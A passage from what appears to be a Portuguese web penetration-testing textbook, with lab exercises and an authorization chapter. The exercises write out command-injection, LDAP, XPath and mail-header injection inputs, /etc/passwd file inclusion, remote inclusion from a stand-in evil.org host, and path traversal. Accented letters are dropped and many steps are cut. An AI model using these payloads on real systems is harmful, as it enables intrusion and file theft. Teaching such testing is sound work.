3. Pressione Alt + [Seta para esquerda], para retornar pgina anterior. 4. Digite o seguinte texto no campo Nome de domnio e clique em Resolver nome:
www.esr.rnp.br & ls -l /
5. Como a sada do comando ls foi concatenada original? 6. Pressione Alt + [Seta para esquerda], para retornar pgina anterior.
351
7.
www.esr.rnp.br && ls -l /
8. O que mudou em relao ao Passo 14? 9. Pressione Alt + [Seta para esquerda], para retornar pgina anterior. 10. Digite o seguinte texto no campo Nome de domnio e clique em Resolver nome:
www.esr.rnp.br || ls -l /
11. Por que o resultado do comando injetado no foi exibido?
12. Pressione Alt + [Seta para esquerda], para retornar pgina anterior.
3. Encerre o Firefox.
4. Fornea esr e senha para os campos Usurio e Senha, respectivamente, e clique em Login. 5. Clique em Retornar pgina de login. 6. Acesse novamente http://logi.esr.rnp.br/logfile e clique no cone Reload current page, caso
352
10. No Firefox, clique no Multiproxy Switch, na barra de estado, e selecione o WebScarab. 11. No WebScarab, clique na aba Proxy e marque Intercept Requests. 12. Retorne ao Firefox, fornea admin e senha para os campos Usurio e Senha, respecti-
19. Clique no Multiproxy Switch, na barra de estado, e selecione None. 20. Encerre o WebScarab. 21. Encerre o Firefox.
2. Acesse http://hpp.esr.rnp.br/. 3. Digite 123456 para o nmero da enquete e clique em Prosseguir. 4. Observe a URL na barra de endereos. 5. Pressione Alt + [Seta para esquerda], para retornar pgina anterior. 6. Digite 6789 para o nmero da enquete e clique em Prosseguir. 7.
Captulo 7 - Roteiro de Atividades
353
http://hpp.esr.rnp.br/build_poll.php?numero=123456&numero=6789&8 Submit1=Prosseguir
10. Qual dos parmetros foi considerado pela aplicao? 11. Troque a ordem das instncias de numero, na barra de endereos:
http://hpp.esr.rnp.br/build_poll.php?numero=6789&numero=123456&8 Submit1=Prosseguir
12. O resultado foi o esperado da linguagem PHP?
13. Acesse o WebGoat, por meio da barra de atalhos. 14. Fornea guest para Usurio e Senha. 15. Clique em Start WebGoat. 16. Clique em Access Control Flaws no menu do lado esquerdo da tela. 17. Clique em Using an Access Control Matrix. 18. Observe a URL na barra de endereos e anote os valores dos parmetros Screen e Menu. 19. Clique em Bypass a Path Based Access Control Scheme. 20. Observe a URL na barra de endereos e anote os valores dos parmetros Screen e Menu. 21. Digite a seguinte URL na barra de endereos e pressione [Enter]:
http://webgoat.esr.rnp.br:8080/webgoat/attack?Screen=92&Screen=99&8 menu=200
22. Qual das instncias de Screen foi considerada pela aplicao?
http://webgoat.esr.rnp.br:8080/webgoat/attack?Screen=99&Screen=92&8 menu=200
24. O resultado foi o esperado das tecnologias JSP/Tomcat?
http://www.google.com/search?q=escola&q=superior&q=redes
26. Como os parmetros foram tratados neste caso?
354
Acesse http://hpp.esr.rnp.br/.
2. Digite 123456 para o nmero da enquete e clique em Prosseguir. 3. Observe a URL na barra de endereos. 4. Passe o mouse sobre cada link e veja a URL associada na barra de estado. Que posio o
8. Pressione Alt + [Seta para esquerda], para retornar pgina anterior. 9. Clique em CSRF e veja a pgina exibida. 10. Acesse http://hpp.evil.org/. 11. Passe o mouse sobre o link e veja a URL associada na barra de estado. Que parmetro
12. Clique em Vote no melhor ataque! e observe que a pgina em hpp.esr.rnp.br acessada. 13. Passe o mouse sobre cada link e veja a URL associada na barra de estado. O que mudou
em relao ao Passo 4?
14. Clique em XSS e veja a pgina exibida. 15. Pressione Alt + [Seta para esquerda], para retornar pgina anterior. 16. Clique em Injeo de SQL e veja a pgina exibida. 17. Pressione Alt + [Seta para esquerda], para retornar pgina anterior. 18. Clique em CSRF e veja a pgina exibida. 19. Qual o resultado do ataque?
21. Digite 123456 para o nmero da enquete e clique em Prosseguir. 22. Observe a URL na barra de endereos. 23. Passe o mouse sobre cada link e veja a URL associada na barra de estado. Que posio o
http://hpp.esr.rnp.br/build_poll2.php?numero=123456%26id%3d3
355
25. Passe o mouse sobre cada link e veja a URL associada na barra de estado. Em que ordem
27. Acesse http://hpp.evil.org/index2.php. 28. Passe o mouse sobre o link e veja a URL associada na barra de estado. Qual o propsito
29. Clique em Vote no melhor ataque! e observe que a pgina em hpp.esr.rnp.br acessada. 30. Passe o mouse sobre cada link e veja a URL associada na barra de estado. O que mudou
2. Acesse http://ldap.esr.rnp.br/. 3. Digite esruser e esruser nos campos ID e Senha, respectivamente, e clique em
Buscar Informao.
Teste de Invaso de Aplicaes Web
4. Pressione Alt + [Seta para esquerda], para retornar pgina anterior. 5. Digite esruser e senha nos campos ID e Senha, respectivamente, e clique em
Buscar Informao.
6. Pelos resultados obtidos nos Passos 3 e 5, que tipo de operador est sendo usado
pelo filtro?
7.
356
9. Pressione Alt + [Seta para esquerda], para retornar pgina anterior. 10. Digite esruser)(&) e s nos campos ID e Senha, respectivamente, e clique em
Buscar Informao.
11. Por que o registro foi exibido, uma vez que a senha informada diferente?
12. Pressione Alt + [Seta para esquerda], para retornar pgina anterior. 13. Digite *)(uid=root) e s nos campos ID e Senha, respectivamente, e clique em Buscar
Acesse http://ldap.esr.rnp.br/index2.php.
2. Marque Impressora e clique em Listar dispositivos. 3. Observe a URL exibida no navegador web. 4. Pressione Alt + [Seta para esquerda], para retornar pgina anterior. 5. Teste vrias combinaes de itens, para observar os resultados e os parmetros utilizados. 6. Digite a seguinte URL na barra de endereos e clique na seta verde:
http://ldap.esr.rnp.br/search2.php?imp=impressora%28&Submit1=Listar+8 dispositivos
7.
http://ldap.esr.rnp.br/search2.php?imp=impressora)(%26&Submit1= 8 Listar+dispositivos
9. Explique a razo do ataque funcionar.
Captulo 7 - Roteiro de Atividades
357
2. Acesse http://ldap.esr.rnp.br/. 3. Digite esruser e esruser nos campos ID e Senha, respectivamente, e clique em
Buscar Informao.
4. Pressione Alt + [Seta para esquerda], para retornar pgina anterior. 5. Digite esruser e senha nos campos ID e Senha, respectivamente, e clique em
Buscar Informao.
6. Pressione Alt + [Seta para esquerda], para retornar pgina anterior. 7.
Qual seria a estrutura geral do filtro usado pela aplicao, conforme visto na atividade anterior?
10. Pressione Alt + [Seta para esquerda], para retornar pgina anterior. 11. Fornea esruser)(objectClass=account e esruser para os campos ID e Senha, respecti-
13. Pressione Alt + [Seta para esquerda], para retornar pgina anterior. 14. Para descobrir se existe um atributo phone, digite esruser)(phone=* e senha nos
15. Pressione Alt + [Seta para esquerda], para retornar pgina anterior. 16. Realize teste similar ao do Passo 14, para verificar a existncia do atributo gecos.
Teste de Invaso de Aplicaes Web
17. Fixe o valor do campo Senha para esruser e varie o valor de ID, conforme exemplo
358
18. Repita o Passo 17, para as demais posies do atributo. 19. Qual o valor do atributo, para o objeto esruser?
21. Pressione Alt + [Seta para esquerda], para retornar pgina anterior. 22. Repita o Passo 20, trocando o valor de ID para esruser)(homeDirectory=/home/
23. Pressione Alt + [Seta para esquerda], para retornar pgina anterior. 24. Repita o Passo 20, trocando, agora, o valor de ID para esruser)(homeDirectory=/*. 25. Por que nenhum elemento foi encontrado?
Adulterao de destinatrio
Esta parte da atividade ilustra como explorar uma aplicao que define o destinatrio da mensagem, com base em um campo controlado pelo usurio.
1.
2. Acesse http://maili.esr.rnp.br/. 3. Pressione Ctrl+U, para visualizar o cdigo HTML. 4. Procure pelo campo realto e veja o valor dele. 5. Abra uma janela de terminal. 6. Conecte-se ao servidor, por meio de SSH:
~$ ssh supervisor@192.168.213.200
7.
~$ mail
9. Abra uma segunda janela de terminal. 10. Conecte-se ao servidor, por meio de SSH:
~$ ssh outro@192.168.213.200
359
11. Fornea a senha outro. 12. Acesse a caixa de correio do usurio outro:
~$ mail
13. Retorne aplicao e preencha os campos do formulrio, criando uma mensagem com
~$ mail
16. Visualize a mensagem, pressionando 1. 17. Retorne ao Firefox. 18. Clique no menu Tools, seguido de Tamper Data. 19. Na janela que aparece, clique em Start Tamper. 20. Retorne ao formulrio e componha uma mensagem com ttulo Segunda mensagem. 21. Clique em Tamper, na caixa de dilogo que aparece. 22. Altere o parmetro realto para outro%40localhost e clique em OK. 23. No Firefox, clique em Retornar pgina anterior. 24. Na caixa de dilogo que aparece, desmarque Continue Tampering? e clique em Submit. 25. Acesse o terminal do usurio supervisor e pressione h, no prompt do cliente de
~$ mail
27. Pressione 1, para visualizar a mensagem.
2. Retorne janela do Firefox. 3. Crie uma mensagem, com ttulo Terceira mensagem, e clique em Enviar Mensagem. 4. Clique em Tamper, na caixa de dilogo que aparece. 5. Altere o parmetro from para o texto abaixo:
new%40esr.rnp.br%0d%0aCc%3aoutro%40localhost
6. Clique em OK. 7.
360
9. Acesse o terminal do usurio supervisor e pressione h. 10. Pressione 2 para ler a mensagem. 11. Acesse o terminal do usurio outro e pressione h. 12. Pressione 2 para ler a mensagem. 13. Feche a janela do Tamper Data.
2. Crie uma mensagem com ttulo Quarta mensagem e preencha o corpo dela com o
seguinte texto:
tido por meio da aplicao aparece ou foi cortado? Por que isso aconteceu? O que significa?
Retorne ao Firefox e inicie a composio de nova mensagem com ttulo Quinta mensagem e com o corpo definido abaixo:
361
9. Pressione 4 para ler a mensagem. 10. Acesse o terminal do usurio outro e pressione h. 11. Pressione 3 para ler a mensagem. 12. Feche as janelas de terminal. 13. Encerre o Firefox.
2. Acesse http://xpathi.esr.rnp.br/ex.php. 3. Verifique o n diretamente sob a raiz, digitando a expresso /*, e clique em Pesquisar. 4. Pressione Alt + [Seta para esquerda], para retornar pgina anterior. 5. Altere a pesquisa para /child::* e clique em Pesquisar. O que muda?
Fornea a expresso /users/* e clique em Pesquisar. Houve alguma alterao no resultado? Explique.
8. Pressione Alt + [Seta para esquerda], para retornar pgina anterior. 9. Digite /user e clique em Pesquisar. Por que a consulta no devolveu resultados?
10. Pressione Alt + [Seta para esquerda], para retornar pgina anterior. 11. Altere a expresso para //user e clique em Pesquisar. Por que agora foram listados ns?
12. Pressione Alt + [Seta para esquerda], para retornar pgina anterior.
Teste de Invaso de Aplicaes Web
13. Digite //user/name e clique em Pesquisar. Que outra expresso retornaria o mesmo
resultado?
14. Pressione Alt + [Seta para esquerda], para retornar pgina anterior. 15. Fornea //user[position()=3]/name e clique em Pesquisar. 16. Pressione Alt + [Seta para esquerda], para retornar pgina anterior. 17. Digite count(//name) e clique em Pesquisar. 18. Pressione Alt + [Seta para esquerda], para retornar pgina anterior.
362
Injeo de XPath
Esta parte do exerccio aborda o ataque de injeo de XPath.
20. Acesse http://xpathi.esr.rnp.br/. 21. Fornea esruser e esruser para os campos ID e Senha, respectivamente, e clique em
Buscar informao.
22. Pressione Alt + [Seta para esquerda], para retornar pgina anterior. 23. Repita o Passo 21, mas fornecendo senha para o campo Senha. 24. Pressione Alt + [Seta para esquerda], para retornar pgina anterior. 25. Digite ] e ] nos campos ID e Senha, respectivamente, e clique em Buscar informao.
26. Pressione Alt + [Seta para esquerda], para retornar pgina anterior. 27. Fornea or true() or e senha para os campos ID e Senha, respectivamente, e clique
28. Pressione Alt + [Seta para esquerda], para retornar pgina anterior. 29. Repita o Passo 27, mas fornecendo or position()=2 or para o campo ID. 30. Pressione Alt + [Seta para esquerda], para retornar pgina anterior. 31. Repita o Passo 29, mas alterando o valor de position(), at que nenhum valor seja encontrado. 32. Encerre o Firefox.
2. Acesse http://bxpathi.esr.rnp.br/. 3. Digite Campinas no campo Cidade e clique em Contar. Quantos usurios existem?
4. Pressione Alt + [Seta para esquerda], para retornar pgina anterior. 5. Digite Brasilia no campo Cidade e clique em Contar. Quantos usurios existem?
Fornea Campinas and a=a para o campo Cidade e clique em Contar. Quantos usurios foram localizados? Por que isso aconteceu?
363
8. Pressione Alt + [Seta para esquerda], para retornar pgina anterior. 9. Fornea Campinas and true() and a=a para o campo Cidade e clique em Contar.
10. Pressione Alt + [Seta para esquerda], para retornar pgina anterior. 11. Descubra o tamanho do nome do n de contexto, fornecendo o texto abaixo com valores
13. Encontre a primeira letra do nome do n de contexto, fornecendo o texto abaixo com
15. Pressione Alt + [Seta para esquerda], para retornar pgina anterior. 16. Repita o Passo 13, variando o primeiro argumento numrico de 2 a 4, para achar o valor
17. Verifique se o n possui atributos, fornecendo o texto abaixo, com valores nmericos
19. Descubra o tamanho do nome do atributo, fornecendo o texto abaixo, com valores
2. Acesse http://filei.esr.rnp.br/.
364
3. Selecione Brasil e clique em Prosseguir. 4. Observe a URL exibida na barra de endereos. 5. Pressione Alt + [Seta para esquerda], para retornar pgina anterior. 6. Selecione Estados Unidos e clique em Prosseguir. O que mudou em relao URL vista
no Passo 4?
7.
http://filei.esr.rnp.br/select.php?country=%2Fetc%2Fpasswd&Submit1= 8 Prosseguir
8. O que aconteceu? Por que nada foi exibido?
http://filei.esr.rnp.br/select.php?country=evil&Submit1=Prosseguir
10. O ataque foi bem-sucedido?
http://filei.esr.rnp.br/select.php?country=select&Submit1=Prosseguir
12. O que contm a pgina de resposta? Qual a provvel razo do resultado obtido?
http://filei.esr.rnp.br/select.php?country=http%3A%2F%2Fwww.evil.org8 %2Fevil&Submit1=Prosseguir
14. Que arquivo remoto foi includo?
17. Observe a URL exibida na barra de endereos e diga o que mudou em relao ao incio
da atividade.
http://filei.esr.rnp.br/select2.php?country=%2Fetc%2Fpasswd&Submit1= 8 Prosseguir
365
http://filei.esr.rnp.br/select2.php?country=http%3A%2F%2Fwww.evil. org%2Fevil.php&Submit1=Prosseguir
20. Encerre o Firefox.
366
Bibliografia 7
1 ALONSO, Chema; BORDN, Rodolfo; GUZMN, Antonio e BELTRN, Marta. LDAP Injection
& Blind LDAP Injection in Web Applications. Black Hat Europe 08, 2008.
1 BALDUZZI, Marco; GIMENEZ, Carmen Torrano; BALZAROTTI, Davide e KIRDA, Engin. HTTP
Parameter Pollution Vulnerabilities in Web Applications. In: Proceedings of the Network and Distributed System Security Symposium, NDSS 2011, The Internet Society, 2011.
1 BAROR, Yuval; YOGEV, Ayal e SHARABANI, Adi. Flash Parameter Injection A Security
Advisory. Whitepaper, IBM Rational Application Security Team, 2008.
1 BERGLUND, Anders; BOAG, Scott; CHAMBERLIN, Don; FERNNDEZ, Mary F.; KAY, Michael;
ROBIE, Jonathan e SIMON, Jrme. XML Path Language (XPath) 2.0 (Second Edition), W3C Recommendation, dezembro de 2010.
1 BURSZTEIN, Elie; GOURDIN, Baptiste; RYDSTEDT, Gustav e BONEH, Dan. Bad Memories.
Black Hat USA, 2010.
1 CARETTONI, Luca e DI PAOLA, Stefano. HTTP Parameter Pollution. OWASP EU09 Poland,
The OWASP Foundation, 2009.
1 CLARK, James e DEROSE, Steve. XML Path Language (XPath) Version 1.0, W3C
Recommendation, novembro de 1999.
1 DANIEL, Chrysostomos. HTTP Parameter Pollution. White Paper, Acunetix, 2012. 1 DI PAOLA, Stefano e DABIRSIAGHI, Arshan. Expression Language Injection, White Paper, 2011. 1 DAZ, Vicente Aguilera. MX Injection Capturing and Exploiting Hidden Mail Servers. White
Paper, Internet Security Auditors, 2006.
1 FAUST, Sacha. LDAP Injection Are your web applications vulnerable? White Paper, SPI
Dynamics, Inc., 2003.
1 FORBES, Thomas e SIDDHARTH, Sumit. Hacking XPath 2.0. Black Hat Europe, 2012. 1 GRZELAK, Daniel. Log Injection Attack and Defence. SIFT Special Publication, SIFT
Information Security Services, 2007.
1 HOWARD, Michael, LEBLANC, David e VIEGA, John. 19 Deadly Sins of Software Security
Programming Flaws and How to Fix Them. McGraw-Hill/Osborne, 2005.
Captulo 7 - Bibliografia
1 KLEIN, Amit. Divide and Conquer HTTP Response Splitting, Web Cache Poisoning Attacks,
and Related Topics. White Paper, Sanctum, 2004a.
1 KLEIN, Amit. Blind XPath Injection. White Paper, Sanctum, 2004b. 1 KLEIN, Amit. Blind XPath Injection. White Paper, Watchfire, 2005.
367
1 LARANJEIRO, Nuno, VIEIRA, Marco e MADEIRA, Henrique. Protecting Database Centric Web
Services against SQL/XPath Injection Attacks. Em Database and Expert Systems Applications, 20 th International Conference, DEXA 2009, Linz, Austria, 31 de agosto 4 de setembro, 2009. Proceedings. Lecture Notes in Computer Science 5690, Springer, 2009.
1 MEUCCI, Matteo et al. OWASP testing guide v3.0. OWASP, 2008. 1 MITROPOULOS, Dimistris, KARAKOIDAS, Vassilios e SPINELLIS, Diomidis. Fortifying
Applications Against Xpath Injection Attacks. Em The 4th Mediterranean Conference on Information Systems, MCIS 2009, 2009.
1 PINTER, Dominik. Kentico CMS Security White Paper. Kentico Software s.r.o., 2011. 1 SMITH, Mark e HOWES, Tim. RFC 4515: Lightweight Directory Access Protocol (LDAP): String
Representation of Search Filters, 2006.
1 STUTTARD, Dafydd e PINTO, Marcus. The Web Application Hackers Handbook. Wiley
Publishing, Inc., 2007.
1 VAN DER VLIST, Eric. XQuery Injection Easy to exploit, easy to prevent.... Em XML Prague
2011 Conference Proceedings, p. 177-189, 2011.
1 ZEILENGA, Kurt. RFC 4514: Lightweight Directory Access Protocol (LDAP): String Representation
of Distinguished Names, 2006a.
1 ZEILENGA, Kurt. RFC 4512: Lightweight Directory Access Protocol (LDAP): Directory Information
Models, 2006b.
368
8
Teste do mecanismo de autorizao e da lgica de negcio
objetivos
Apresentar vulnerabilidades no mecanismo de autorizao e na lgica de negcio e mostrar os mtodos que podem ser empregados para detect-las e explor-las.
conceitos
Autorizao, acesso direto a recursos, percurso de caminho, redirecionamento no validado, condies de corrida, vulnerabilidades em lgica de negcio.
Introduo
Um dos objetivos de se autenticar um usurio no sistema consiste em fornecer meios de negar ou autorizar operaes que ele deseja realizar, de acordo com os privilgios que possui, alm de permitir o rastreamento do que feito na aplicao. Essa verificao deve ser sempre executada, por um componente chamado de monitor de referncias (Anderson, 1972), no momento em que uma ao iniciada, o qual deve possuir as seguintes caractersticas, para atender os requisitos que se prope satisfazer:
1 Ser inviolvel. 1 Ser invocado em todo e qualquer acesso a um recurso. 1 Ser suficientemente pequeno para que possa ser analisado e ter sua correo comprovada.
Obviamente, muito difcil atingir o primeiro e o terceiro objetivos, principalmente, quando se espera uma prova de segurana do componente. Por mais que ele seja desenvolvido, por meio de um ciclo que considera segurana em todas as etapas, erros sempre podem ocorrer, causando a introduo de vulnerabilidades. Um problema mais grave, entretanto, resume-se em ignorar o segundo item da lista, o que acontece frequentemente em aplicaes reais. A lista de problemas, neste caso, compreende desde verificar os privilgios uma nica vez, logo aps a autenticao, at deixar de validar de vez a legitimidade dos acessos. Note-se que, em qualquer das situaes, um usurio malicioso consegue executar operaes as quais no deveria.
369
A maneira como o monitor de referncias libera ou bloqueia uma dada ao determinada pelo modelo de controle de acesso adotado, que um arcabouo responsvel por definir quais recursos podem ser acessados pelas diversas entidades do sistema. Existem trs tipos desses modelos:
problema praticamente nica, afetando um aspecto totalmente especfico de um sistema. A aplicao de leilo ilustrada no Captulo 3, que permitia bloquear os concorrentes, um exemplo desse tipo de defeito. Outro caso que pode ser citado compreende um processo de mltiplos estgios que ignora se os anteriores foram devidamente completados. O restante deste captulo est organizado da seguinte maneira: em primeiro lugar, so cobertos ataques de acesso direto a recursos, como pginas e outros objetos; em seguida, as tcnicas para violao de controles no lado cliente so discutidas; depois disso, so apresentados os defeitos que permitem percurso de caminho, redirecionamento para outros domnios e os que resultam em condies de corrida; por fim, vulnerabilidades na lgica de negcio so abordadas, com a anlise de alguns exemplos reais.
370
recurso sendo controlado e das premissas incorretas assumidas pelo time de desenvolvimento.
Assim, basta efetuar uma requisio para qualquer URL vlida do sistema, para se conseguir um acesso sem a devida autorizao. Para exemplificar esse cenrio, a Figura 8.1 ilustra as telas exibidas por uma aplicao para dois usurios com perfis de acesso distintos.
Captulo 8 - Teste do mecanismo de autorizao e da lgica de negcio
(a)
(b)
H diversas recursos que um usurio malicioso pode emprega, para descobrir as URLs das operaes s quais no tem acesso: registros de trilhas de auditoria, histrico de navegao, trfego capturado, documentao da aplicao, interao com outros usurios do sistema, inferncia a partir da estrutura geral das URLs usadas nos links disponveis, dentre inmeras outras possibilidades. A partir desses exemplos, fica claro que essa abordagem de controle
371
de acesso completamente insegura, pois parte de uma premissa incorreta, com relao incapacidade do usurio de descobrir o que no apresentado pela interface. Para verificar se uma aplicao vulnervel a este ataque, o seguinte roteiro pode ser utilizado:
1. Se diversas contas de usurio, com diferentes perfis, estiverem disponveis para o teste: 1.1.Autentique-se na aplicao com cada uma das contas e percorra as diversas pginas
que a compem.
1.2.Anote todas as funcionalidades diferentes e as URLs correspondentes que aparecem
usurios.
1.4.Se o acesso for permitido, o controle de acesso da aplicao vulnervel. 2. Se no, se somente uma conta estiver disponvel para o teste: 2.1.Autentique-se na aplicao e percorra as diversas pginas que a compem. 2.2.Anote todas as URLs das diversas funcionalidades apresentadas. 2.3.Verifique se h algum padro que pode ser identificado nas URLs. 2.4.Gere novas URLs, de acordo com o passo anterior, e tente acess-las. 2.5.Se o acesso for permitido, o controle de acesso da aplicao vulnervel.
if (!isset($_SERVER[HTTP_REFERER]) ||
Teste de Invaso de Aplicaes Web
stripos($_SERVER[HTTP_REFERER], http://bssac.esr.rnp.br/ admin/) === false) { echo(<h2>Origem não permitida!!!</h2><br>); echo(<a href=http://bssac.esr.rnp.br/admin/>Retornar à página de login</a>); goto invalid_referer; }
372
O propsito do if acima verificar se o valor do cabealho REFERER contm a URL passada como argumento para a funo stripos(). Em caso negativo, uma mensagem de erro exibida e o controle desviado para a seo de cdigo rotulada por invalid_referer. Um usurio malicioso, para quebrar esse mecanismo de proteo, pode interceptar a requisio e inserir o cabealho Referer com o valor adequado, conforme ilustrado na Figura 8.2.
O teste para examinar se uma aplicao apresenta essa vulnerabilidade contm os passos descritos abaixo:
1. Para cada uma das URLs identificadas na fase de mapeamento: 1.1.Digite-a na barra de endereos do navegador web e faa a requisio. 1.2.Se a aplicao exibir uma mensagem indicando que a origem da requisio no vlida:
1.2.1. Faa nova submisso, mas incluindo o cabealho Referer definido para a URL da pgina, a partir da qual o recurso carregado, no fluxo normal de uso. 1.2.2. Se a pgina for carregada, a aplicao emprega o cabealho Referer para controlar o acesso e , portanto, vulnervel.
Captulo 8 - Teste do mecanismo de autorizao e da lgica de negcio
373
(a)
(b)
http://bssac.esr.rnp.br/view.php?mid=1 http://bssac.esr.rnp.br/view.php?mid=2
Repetindo o processo para o usurio admin, chega-se ao seguinte resultado:
Figura 8.3 Exemplo de aplicao vulnervel a acesso direto a objetos: (a) Mensagens de esruser. (b) Mensagens de admin.
que a compem.
1.2.Anote todos os itens de entrada que paream ser chaves primrias de registros ou
Teste de Invaso de Aplicaes Web
374
2.3.Verifique se h algum padro que pode ser identificado nos valores de cada par-
Esse cenrio ocorre frequentemente em stios web de eventos, que disponibilizam aos participantes todos os materiais das diversas apresentaes realizadas. Para exibir a pgina que lista esses contedos, o usurio precisa estar autenticado, porm, para obter os arquivos, no. A premissa adotada incorretamente, nesse caso, resume-se em assumir que somente usurios legtimos so capazes de obter os nomes dos recursos fornecidos. A aplicao ilustrada na Figura 8.4 exemplifica a vulnerabilidade supracitada. Observe na barra de estado do navegador web que o arquivo ls.txt obtido diretamente a partir do diretrio files do servidor. Embora o usurio esruser, por meio da interface do sistema, somente tenha visibilidade de trs arquivos, ele pode inferir a existncia de outros mais. No exemplo, fica claro que cada recurso tem o nome de um comando do sistema operacional Linux, e, assim, natural assumir a presena de arquivos como ps.txt e echo.txt. Para complementar, considere-se novamente o caso de pgina de evento e que os nomes de arquivos sigam um padro como <sobrenome>.<nome>.pdf, com base em cada palestrante. Neste cenrio, basta obter alguns dos arquivo, para compreender a lgica de nomes adotada e conseguir o conjunto completo, diretamente do servidor.
Captulo 8 - Teste do mecanismo de autorizao e da lgica de negcio
A deteco do problema descrito muito simples e ocorre nas fases de reconhecimento e mapeamento da aplicao, quando os recursos fornecidos de maneira esttica podem ser enumerados pelo analista de segurana. Qualquer um desses itens, que necessite ser acessvel somente a usurios autorizados, deve ser indicado no relatrio como vulnervel a acesso no controlado.
375
alert(Voc no tem autorizao para acessar esta opo!!!); return false; } document.getElementById(id).href=acao+id+.php; return true; } </script>
Figura 8.5 Cdigo Javascript que responsvel pelo processo de autorizao.
376
A varivel acm constitui a matriz de controle de acesso e definida pelo servidor, de acordo com o perfil do usurio autenticado. O acesso do usurio s permitido se a posio do vetor associada ao link contiver o valor um. Note-se que a URL, construda dinamicamente, relativa e tem o formato acao<id>.php, sendo que <id> corresponde ao valor passado no manipulador de evento onclick de cada link. A mesma anlise feita aqui poderia ter sido realizada por um usurio malicioso, para descoberta das URLs dos diversos recursos da aplicao. Em seguida, bastaria efetuar as requisies diretamente pelo navegador web, contornando, assim, o controle de acesso provido pelo Javascript embutido. Esse tipo de vulnerabilidade normalmente encontrado, em um teste de invaso, na etapa de mapeamento, durante a anlise dos diversos scripts fornecidos pela aplicao. Qualquer item que manipule links ou que exiba mensagens de erro referentes a controle de acesso deve ser inspecionado com mais ateno, pelo analista de segurana.
estado). Isso um grande indicativo de que o sistema mantm o estado da sesso, ou parte dele, no lado cliente da soluo. Quando algo assim encontrado, um atacante pode alterar o valor do parmetro e enviar a requisio, para ver se consegue um acesso mais privilegiado. Nesse cenrio, alguns identificadores que podem ser testados incluem admin e root, pois eles so comumente utilizados em ambientes de produo.
Captulo 8 - Teste do mecanismo de autorizao e da lgica de negcio
377
Em alguns casos, um parmetro booleano, utilizado para indicar um perfil administrativo, adicionado s requisies, sempre que o usurio autenticado for privilegiado. Essa prtica segue a estratgia de segurana por obscuridade, a qual gera uma falsa sensao de proteo. Mesmo que usurios comuns no saibam da existncia do parmetro, h diversos caminhos que levam sua descoberta. Ademais, dada a frequncia com que empregado, natural tentar submeter variaes como adm=Y, adm=S, admin=Y, admin=S, root=Y e root=S, como parte da requisio. Muitas vezes, esse tipo de verificao coroado com uma escalada vertical, para uma conta com o mximo de privilgios. Os cenrios vistos nesta seo apenas reforam a ineficcia de se adotar qualquer controle de seguran, no lado cliente da aplicao. Assim, sempre que situaes similares forem detectadas em um teste de invaso, elas devem ser devidamente reportadas.
montagem da tela, na qual so includos links apenas para os recursos que o usurio tem o direito de acessar. Na verso original da aplicao, quando o atacante descobria os nomes de outros arquivos, ele podia visualiz-los simplesmente ajustando o valor do parmetro correspondente. Para impedir esse ataque, os desenvolvedores ofuscaram os nomes dos arquivos empregando uma srie de tcnicas diferentes, de modo que o usurio malicioso no pudesse mais construir a requisio.
Nesse exemplo, o link para a RFC 2616 representa o estado original da aplicao, que expunha completamente o nome do arquivo na URL:
http://refp.esr.rnp.br/view.php?f=fielding.1999.txt&t=0
Note-se que o nome passado a view.phppor meio do parmetro f e aparenta seguir o formato <autor>.<ano>.txt. A partir desse padro, fica muito fcil acessar outros arquivos que existem na base, desde que se saiba o autor e a data da publicao.
378
A primeira tentativa de melhoria est ilustrada no link para a RFC 2617, que no faz nada mais que escrever o nome do arquivo ao contrrio:
http://refp.esr.rnp.br/view.php?f=txt.9991.sknarf&t=1
fcil perceber que o nvel de dificuldade de explorao, nesse caso, continua basicamente o mesmo que o anterior. Uma tcnica diferente, utilizada no link para a RFC 2821, resulta em URLs como a seguinte:
http://refp.esr.rnp.br/view.php?f=a2xlbnNpbi4yMDAxLnR4dA==&t=2
Embora isso parea crptico para usurios leigos, profissionais de computao conseguem identificar facilmente que se trata de codificao em BASE64, a qual coberta no Captulo 9 deste livro. Nesse cenrio, o passo natural de um atacante consiste em decodificar o valor do parmetro f, a2xlbnNpbi4yMDAxLnR4dA==, e analisar se o resultado, klensin.2001.txt, faz sentido no escopo da aplicao. Caso isso no ocorresse e a sada fosse uma sequncia binria de carter aleatrio, poderia ser um indicativo de texto cifrado, o que evitaria a construo de identificadores para arquivos arbitrrios. Essa situao, contudo, no impediria o acesso ilegtimo, se fossem conhecidos outros valores para f, uma vez que um monitor de referncias no implementado. Finalmente, o ltimo exemplo trata do link para a RFC 959, o qual especifica a URL:
http://refp.esr.rnp.br/view.php?f=706f7374656c2e313938352e747874&t=3
Pelo conjunto de caracteres presentes no valor do parmetro f, fcil observar que se tratam de dgitos hexadecimais. Analisando com um pouco mais de cuidado, nota-se que os valores dos dgitos, considerados em pares, so prximos e esto na regio de caracteres imprimveis da tabela ASCII. Realizando a converso, obtm-se o nome de arquivo postel.1985.txt, com o que se conclui que o processo no robusto. Assim como no caso anterior, o resultado da operao poderia ser uma sequncia aleatria de octetos, quando, ento, as mesmas consideraes seriam vlidas. Em todas as solues analisadas, a causa raiz da vulnerabilidade reside no uso de processos que permitem, facilmente, recuperar o nome real do arquivo, a partir do valor ofuscado enviado ao usurio. Alm disso, uma vez conhecido o mecanismo de proteo adotado pela aplicao, o atacante pode forjar requisies para arquivos arbitrrios, pois elas no dependem de nenhum valor secreto conhecido somente pelo sistema.
Captulo 8 - Teste do mecanismo de autorizao e da lgica de negcio
Percurso de caminho
Aplicaes que exibem ou escrevem arquivos especificados por usurios podem estar sujeitas a ataques de percurso de caminho, caso os devidos cuidados no sejam tomados. A causa raiz do problema consiste em permitir que, alm do nome do arquivo, seja tambm informado o local em que ele se encontra, em vez de assumir que esto em um determinado diretrio. Em alguns casos, essa premissa adotada por meio de um cdigo como o abaixo, que concatena o valor fornecido pelo usurio com o caminho da pasta que deve ser utilizada:
$arquivo = /var/arquivos/.$nome;
379
../../etc/passwd
O que resulta no caminho /var/arquivos/../../etc/passwd, cujo valor cannico /etc/ passwd, uma vez que a sequncia .. se refere ao diretrio pai. Observe-se que, com esse ataque, possvel acessar qualquer arquivo do ambiente, para o qual a conta de sistema operacional da aplicao possua privilgio de leitura. Muitas vezes, no possvel saber em que ponto da rvore de diretrios encontra-se a pasta base da aplicao e, assim, fica difcil estabelecer quantas ocorrncias de .. devem ser empregadas. Nesses casos, uma tcnica que pode ser usada para evitar que a descoberta seja por tentativa e erro, resultando na submisso de mltiplas requisies, resume-se em enviar uma grande sequncia de ../ seguida do nome de arquivo desejado (Stuttard e Pinto, 2007), como ilustrado a seguir:
Valor cannico
Corresponde ao formato padronizado de uma informao que pode ser representada de mais de uma maneira diferente.
